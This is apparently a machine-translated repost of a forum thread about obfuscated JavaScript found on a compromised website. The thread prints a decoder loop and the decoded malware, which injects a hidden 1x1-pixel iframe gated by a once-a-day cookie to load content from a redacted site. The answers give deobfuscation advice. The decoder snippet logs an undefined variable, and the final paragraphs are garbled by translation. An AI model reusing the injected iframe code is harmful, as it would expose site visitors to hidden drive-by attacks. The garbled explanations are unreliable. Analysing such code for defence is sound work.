在网站上发现恶意代码，它是做什么的

Malicious code found on website, what does it do?

本文关键字：什么代码网站发现恶意更新时间：2023-09-26

我在一个网站上发现了这段代码，我被要求帮助，它引起了各种各样的混乱。起初它被重定向到另一个站点，我想是为了尝试传递某种有效载荷。我不知道如何解密这个虽然，我很好奇。有人能给我指个正确的方向吗?

用Google搜索其中的一部分，可以发现相当多的网站似乎都有。

编辑:我似乎不能张贴整个事情，所以我已经把它粘贴到粘贴箱为那些感兴趣的!http://pastebin.com/w1eH1JkB

经过一些修改，我想出了这个:

var code='';
for(i=0;i<a.length;i++) {
  code = code + String.fromCharCode(parseInt(a[i],8)-4);
}
console.log(hax);

解码"a"并输出如下:

 function zzzfff() {
 var y = document.createElement('iframe');
 y.src = 'REDACTED';
 y.style.position = 'absolute';
 y.style.border = '0';
 y.style.height = '1px';
 y.style.width = '1px';
 y.style.left = '1px';
 y.style.top = '1px';
 if (!document.getElementById('y')) {
 document.write('<div id=''y''></div>');
 document.getElementById('y').appendChild(y);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}

这段代码从另一个站点加载iframe。它看起来只是跟踪访问者，但他们可以在iframe中做任何事情(如尝试浏览器漏洞)。

加密的内容是所谓的" cookie炸弹"攻击，这是最近经常使用的。解密和激活在Jeffrey Sambells的"黑客剖析"中有详细的解释。

找出这种"加密JS-stuff"背后的一个好方法是美化源代码，在eval() -ed或写入文档之前放一个debugger;语句，或者用console.log()替换这些语句并在JavaScript控制台上运行它们。如果它应该在客户端执行，邪恶制造者必须始终包含解码机制。

使用JavaScript、混淆和cookie来避免机器人意识到"感染"。在网上搜索文档。然而，Body ++或函数zzzfff带来了很多结果。

值得注意的是，如果zz之前的值为2,document.body++成功或客户端实现错误，thatss.fromCharCode.apply(ss,a) -解码函数只会被eval -ed;因此，目标是非常具体的东西(或者这个代码片段的编码器做错了什么)。